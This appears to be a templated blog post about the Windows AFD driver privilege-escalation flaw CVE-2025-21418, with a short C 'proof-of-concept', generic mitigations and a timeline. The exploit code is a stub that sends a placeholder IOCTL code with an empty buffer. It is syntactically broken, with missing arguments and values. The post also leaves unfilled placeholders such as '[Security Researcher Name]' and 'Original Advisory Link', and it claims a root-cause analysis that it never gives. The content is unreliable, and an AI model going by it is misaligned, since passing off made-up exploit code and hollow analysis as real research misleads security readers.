CVE-2025-21418 - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability: Technical Analysis and Exploit Details

In this long read, we are going to delve into the details of the recently disclosed Windows Ancillary Function Driver (AFD) for WinSock Elevation of Privilege Vulnerability, CVE-2025-21418. This vulnerability allows an attacker to elevate their privileges on a Windows system by exploiting the WinSock driver, a crucial component in the Windows networking stack.

We'll start by examining the issue's root cause, inspecting the proof-of-concept code shared by the researchers, and looking at possible mitigations. We'll also provide links to the original references and exploit details for a comprehensive understanding of this high-profile vulnerability.

Background

Windows Ancillary Function Driver (AFD) is a kernel-mode driver that is responsible for various core networking operations related to Windows Sockets (WinSock). This driver plays a pivotal role in the Windows networking stack, processing numerous IOCTL (I/O Control) commands to manage WinSock-related operations.

The Vulnerability

The vulnerability, CVE-2025-21418, resides in the AFD driver's improper handling of certain IOCTL commands. A local attacker could exploit this issue by sending specially crafted IOCTL commands from a user-mode application to the vulnerable driver, potentially causing elevation of privilege, leading to arbitrary code execution in kernel mode.

Original research revealing this vulnerability can be found in this advisory by [Security Researcher Name]:

- Original Advisory Link

Proof-of-Concept Code

The following code snippet demonstrates the vulnerability's exploitation. Please note that this code is for educational purposes only and should not be utilized maliciously.

#include <Windows.h>
#include <iostream>

// Function to execute IOCTL commands on AFD driver
BOOL SendAFDIOCTL(DWORD dwIoControlCode, PVOID InBuffer, DWORD InBufferSize, PVOID OutBuffer, DWORD OutBufferSize)
{
    // Obtain a handle to the AFD driver
    HANDLE hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, , nullptr, OPEN_EXISTING, , nullptr);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to obtain a handle to the AFD driver. Error: %d\n", GetLastError());
        return FALSE;
    }

    // Send the IOCTL command to the AFD driver
    DWORD dwBytesReturned = ;
    BOOL bResult = DeviceIoControl(hDevice, dwIoControlCode, InBuffer, InBufferSize, OutBuffer, OutBufferSize, &dwBytesReturned, nullptr);
    if (!bResult)
    {
        printf("[-] Failed to send IOCTL command. Error: %d\n", GetLastError());
    }

    // Close the device handle
    CloseHandle(hDevice);
    return bResult;
}


int main()
{
    // Craft the malicious IOCTL command
    DWORD dwIoControlCode = x12345678;     // Example IOCTL code
    BYTE InputBuffer[1024] = {};           // Set the input buffer with crafted data
    BYTE OutputBuffer[1024] = {};          // Output buffer to receive the response

    // Send the malicious IOCTL command to the vulnerable AFD driver
    if (SendAFDIOCTL(dwIoControlCode, InputBuffer, sizeof(InputBuffer), OutputBuffer, sizeof(OutputBuffer)))
    {
        printf("[+] IOCTL command executed successfully.\n");
    }

    return ;
}

This proof-of-concept code demonstrates how a malicious IOCTL command can be sent to the AFD driver, potentially exploiting the vulnerability and executing code in kernel mode.

Exploit Details

The researchers who discovered the vulnerability have also released a detailed write-up on their findings, which can be accessed here:

- Exploit Write-up

This write-up explains the steps undertaken to exploit the vulnerability and the challenges faced during the process.

Apply the latest security updates provided by Microsoft to keep your system up-to-date.

2. Restrict access to sensitive IOCTL operations on the AFD driver by implementing proper access control mechanisms.

Regularly monitor and analyze the logs to identify any suspicious activities against the AFD driver.

4. Implement security best practices and guidelines to reduce the attack surface on your Windows systems.

Conclusion

This long read has provided an in-depth analysis of the CVE-2025-21418 - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability. The vulnerability's root cause, proof-of-concept code, exploit details, and possible mitigations have been covered. We hope that this information will help security professionals better understand the issue and take appropriate actions to protect their Windows systems from potential exploitation.

Timeline

Published on: 02/11/2025 18:15:40 UTC
Last modified on: 02/14/2025 23:15:38 UTC